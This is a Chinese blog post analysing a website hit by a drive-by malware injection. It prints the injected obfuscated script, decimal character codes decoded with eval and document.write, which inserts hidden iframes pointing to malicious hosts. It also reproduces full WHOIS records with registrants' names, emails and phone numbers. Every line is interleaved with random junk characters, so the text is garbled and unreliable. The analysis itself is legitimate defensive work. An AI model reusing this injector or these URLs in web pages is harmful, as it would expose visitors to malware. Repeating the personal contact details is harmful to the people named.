首发在我的博客里面，
~;z]
_`_Va $e2+O\.> http://www.areway.cn/?p=175 jhPbh5E 5
1N /XE k &Nh
zEl1 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
1V9 A nzwX 5 r f Dm <script>t=’60,105,102,114,97,109,101,
k<P` 32,115,114,99,61,104,116,116,112,58,47,47,
HI{h>g T 102,114,101,101,46,117,45,117,117,117,46,99,
t%G.i@{pkp 110,47,101,114,114,111,114,46,104,116,109,
(7N!Jvg9 32,119,105,100,116,104,61,49,48,48,32,104,
,(-V<>/*.| 101,105,103,104,116,61,48,62,60,47,105,102,
Zo c4@%
n 114,97,109,101,62′;
YXZP-=fB>i t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
zy%0;% UmvnVmnv <script>t=’60,105,102,114,97,109,101,32,115,
&ds+9A
114,99,61,104,116,116,112,58,47,47,102,114,
)hl7)~S< 101,101,46,117,45,117,117,117,46,99,110,47,
V ?'p E 101,114,114,111,114,46,104,116,109,32,119,
!H@HgJ
- 105,100,116,104,61,49,48,48,32,104,101,105,
S~ Z<-@S 103,104,116,61,48,62,60,47,105,102,114,97,
M 87CP=yc 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
P
4t@BwU$ document.write(t);</script>
@"BhKUoV$K KO7& dM <html xmlns=”
fI`gF^u( http://www.w3.org/1999/xhtml Ww60-d}}Q “>
i NfAn& <head>
PVH Or^ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
*l 4[`7| <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
I*^t!+ q$ <title>首页 - 爱生活家庭网
m< )`@6a/ 99`w'Nlk 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
T*SLM"x 转换字符串后的大概内容是（谁点击后果自付）：
4_iA<}> | <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
7l$
u.[ L%(NXSfu7 查询玉米u-uuu.cn的详细信息：
Axns Domain Name: u-uuu.cn
I<CrEL<5}~ ROID: 20070901s10001s64972306-cn
3~bB2APk Domain Status: ok
De^:9<{jc Registrant Organization: 王雷
vG'#5%,| Registrant Name: 王雷
KUYwc@si\ Administrative Email:
czlovexs@126.com tuIZYp8tIN Sponsoring Registrar: 北京万网志成科技有限公司
P{UV3ZA% Name Server:ns.yovole.com
aQ $sn<-l Name Server:ns1.yovole.com
6 5dMv*{ Registration Date: 2007-09-01 17:54
Kcp YHWCa. Expiration Date: 2008-09-01 17:54
c QuL9Xo 最后PING了一下地址 都没有什么….
x x>h J! #+l`tj4b/ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
& nXE?-J <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
+pme]V|< <script language=”javascript” src=”
X*@ tp,t http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script iLZY6?_^ >
YLQ0UeDN' 这个玉米应该有可能是木马作者的：
/P@%{y foafau.info的详细信息：
6QY;t:/< Access to INFO WHOIS information is provided to assist persons in
ap )B%9 determining the contents of a domain name registration record in the
ur8+k4] \" Afilias registry database. The data in this record is provided by
c/tB_ ] Afilias Limited for informational purposes only, and Afilias does not
96 <oX:# guarantee its accuracy. This service is intended only for query-based
j; y ~vX b access. You agree that you will use this data only for lawful purposes
"}qs + and that, under no circumstances will you use this data to: (a) allow,
G2kU _ enable, or otherwise support the transmission by e-mail, telephone, or
CA0XcLiFt facsimile of mass unsolicited, commercial advertising or solicitations
[ ,Go*r to entities other than the data recipient’s own existing customers; or
>*h+ N?
m (b) enable high volume, automated, electronic processes that send
CUI+@|]% queries or data to the systems of Registry Operator, a Registrar, or
30uPDDvar Afilias except as reasonably necessary to register domain names or
/m"/#; ^l modify existing registrations. All rights reserved. Afilias reserves
lJ-PW\ P the right to modify these terms at any time. By submitting this query,
3r kcIVO you agree to abide by this policy.
k*fU:q1
Domain ID:D22418703-LRMS
X j/z), Domain Name:FOAFAU.INFO
!Yb !Au[ Created On:20-Nov-2007 16:05:42 UTC
8^ f: -5 Last Updated On:20-Nov-2007 16:05:44 UTC
WV$C ZgL Expiration Date:20-Nov-2008 16:05:42 UTC
1Y'4 g3T Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
K#wA ; Status:CLIENT DELETE PROHIBITED
D1xGUz2r Status:CLIENT RENEW PROHIBITED
0,t%us/q Status:CLIENT TRANSFER PROHIBITED
I61S0l z/ Status:CLIENT UPDATE PROHIBITED
950N\Y @u Status:TRANSFER PROHIBITED
/VT/KT{ Registrant ID:GODA-040110615
(~^fx\-S Registrant Name:liu hong
dn-
[Gnde Registrant Organization:
43AzNXWF8 Registrant Street1:beijing
P+hcj
p* Registrant Street2:
KN|<yF Registrant Street3:
f+ceL'fr Registrant City:beijing
[U zD3VPg Registrant State/Province:
zg<-%r'$ Registrant Postal Code:100000
*tF~CG$r Registrant Country:CN
!g]5y= Registrant Phone:+86.860108888777
#%p44%W Registrant Phone Ext.:
> 5~#BrpwG Registrant FAX:
tf~B,? Registrant FAX Ext.:
M -"j8:en Registrant Email:bbbshiji@163.com
BUBx}dbCM Admin ID:GODA-240110615
`sYFQ+D#O Admin Name:liu hong
[v"Z2F<.= Admin Organization:
%MjoY_<:_ Admin Street1:beijing
E?XaU~cpc Admin Street2:
yQ[;y~W Admin Street3:
D9oNYF-V Admin City:beijing
':wf%_Iw Admin State/Province:
/YvXyi>^"% Admin Postal Code:100000
Y7}>yC /GY Admin Country:CN
.c"nDCFVR Admin Phone:+86.860108888777
'9V/w[mI Admin Phone Ext.:
`-L?x2)U Admin FAX:
^ F] hW Admin FAX Ext.:
m;OvOc, Admin Email:bbbshiji@163.com
a+^` +p/5 Billing ID:GODA-340110615
S:_Ms{S Billing Name:liu hong
lhN@ ,q Billing Organization:
QO'Hyf t Billing Street1:beijing
Ht
Fr(g\"$ Billing Street2:
X( N~tE Billing Street3:
V,&%[H [ Billing City:beijing
q9/v\~m Billing State/Province:
C Bkoky 9& Billing Postal Code:100000
03 @a G Billing Country:CN
FQ< -Wc Billing Phone:+86.860108888777
?.?)5
&4 Billing Phone Ext.:
>
{*cW Billing FAX:
aDbq h~7 Billing FAX Ext.:
;>J!$B?, Billing Email:bbbshiji@163.com
bWswF<y- Tech ID:GODA-140110615
}\"EI<$s Tech Name:liu hong
B@,r8)D Tech Organization:
&G P(yj] Tech Street1:beijing
Lzh8-d=HQ Tech Street2:
Dh
I{&$O/ Tech Street3:
>f]/VaMH{ Tech City:beijing
Q]k< Y Tech State/Province:
U: 9&0`k( Tech Postal Code:100000
[ RyV R Tech Country:CN
:;k?/KU7 Tech Phone:+86.860108888777
!m@cTB7i
Tech Phone Ext.:
\QvGkcDc{ Tech FAX:
BPY7O Tech FAX Ext.:
Qa{5 ]+E Tech Email:bbbshiji@163.com
E'QAsU8pP Name Server:NS27.DOMAINCONTROL.COM
U%q)T61 Name Server:NS28.DOMAINCONTROL.COM
Q
dj(D\. Name Server:
RM2Ik_IH[l Name Server:
yZleots1 Name Server:
37U 8< Name Server:
2f,8Jnia Name Server:
BhJ>G% Name Server:
HsCL%$k Name Server:
1W USp;JMl Name Server:
8em'7hR9 Name Server:
Y 6a`{' Name Server:
Wg-m Ju( Name Server:
3q]0gU&?? "- 4|HA 接着下载每个文件里面的代码：
m06'T2 I 一步一步看..
t~+M>Fjm?d 
Xb _
V\b0 
>q}3#TvP@ 
T^A(v (^D 
{]CZgqE{ 
H= /1d.p 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
